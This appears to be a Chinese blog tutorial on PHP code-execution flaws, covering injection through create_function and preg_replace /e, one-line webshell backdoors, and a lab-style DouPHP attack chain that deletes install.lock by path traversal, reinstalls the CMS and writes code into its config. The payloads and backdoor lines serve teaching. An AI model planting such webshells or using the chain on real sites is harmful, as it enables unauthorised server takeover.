编程语言
首页 > 编程语言> > 代码执行漏洞(DouPHP)

代码执行漏洞(DouPHP)

作者:互联网

目录

代码执行漏洞

用户输入的数据被当作后端代码执行
后端代码:PHP、ASP、ASPX、JSP

一句话木马就是最经典的代码执行

RCE
(remote command/code execute)远程命令或者代码执行
现在由于 RCE 这个词的滥用,范围较为广泛,可以理解为渗透的最终情况可以实现执行命令或者代码,例如:代码执行、文件包含、反序列化、命令执行,甚至是写文件的 getshell

函数

<?php
preg_replace('/a/e', phpinfo(), 'asd');

在这里插入图片描述

<?php
$a = create_function('$id', 'echo $id;');
$a(1+1);

在这里插入图片描述
示例 1

<?php
$a = create_function('', $_REQUEST[8]);

虽然是匿名函数,但实质上和正常函数的运行方式一样:

<?php
function a() {
	$_REQUEST[8];
}

payload:?8=}phpinfo();//
原来的代码就变成:

<?php
function a() {
	}phpinfo();//
}

整理一下:

<?php
function a() { }
phpinfo();	//}

在这里插入图片描述
示例 2

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));

payload:?sort_by='"]);}phpinfo();//
整理:

function niming($a, $b) {
	return 1 * ' . $sorter . '($a["''"]);
}
phpinfo();	//}

在这里插入图片描述
示例 2

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);

payload:?c=));}phpinfo();//
整理:

function lambda($a, $b) {
	return (strlen($a)-strlen($b)+strlen());
}
phpinfo();	//}

在这里插入图片描述
后门
<?php $func =create_function('',$_POST['cmd']);$func();?>

<?php
array_map('assert', $_REQUEST);

payload:?6=system("whoami");&8=phpinfo();
在这里插入图片描述

这里必须介绍一下 CMS 安装时做了什么
①:检测环境是否符合条件
②:把数据库信息写入配置文件(覆盖)
③:连接数据库,写入数据(覆盖)

如果我们要对这个点进行测试,思路:
删除锁文件 -> 安装界面 -> 写配置 -> 代码执行
(这个操作需要报备,提醒大家不要轻易执行)

项目过程:
生产环境:真实使用(线上环境)
测试环境:专业测试(测试功能,测试 bug)
开发环境:开发专用(开发使用)

如何删除锁:
unlink()
一般 CMS 的锁文件在固定位置,大家如果不知道的话建议问开发(data、include、conn | config.php)


CMS => 安装程序,连接数据库,账户名、密码,并将其写入配置文件(conn.phpconfig.php
常见过滤 => 单双引号(魔术引号)

DouPHP

直接访问admin
在这里插入图片描述
在这里插入图片描述
admin/mobile.php下找到可利用的 unlink()
在这里插入图片描述
发现可以通过目录穿越删除../../../../data/install.lock
抓包
在这里插入图片描述

放包
在这里插入图片描述
现在可以重装 CMS 了
在这里插入图片描述
写入 执行语句并安装(数据库密码乱写,这样值配置文件,不写入数据)
在这里插入图片描述
成功
在这里插入图片描述
连上蚁剑可以看到,用户名的地方成功被我们写入
在这里插入图片描述
找到flag
在这里插入图片描述

标签:函数,phpinfo,写入,漏洞,代码执行,DouPHP,php,CMS
来源: https://www.cnblogs.com/1ta-chi/p/15747122.html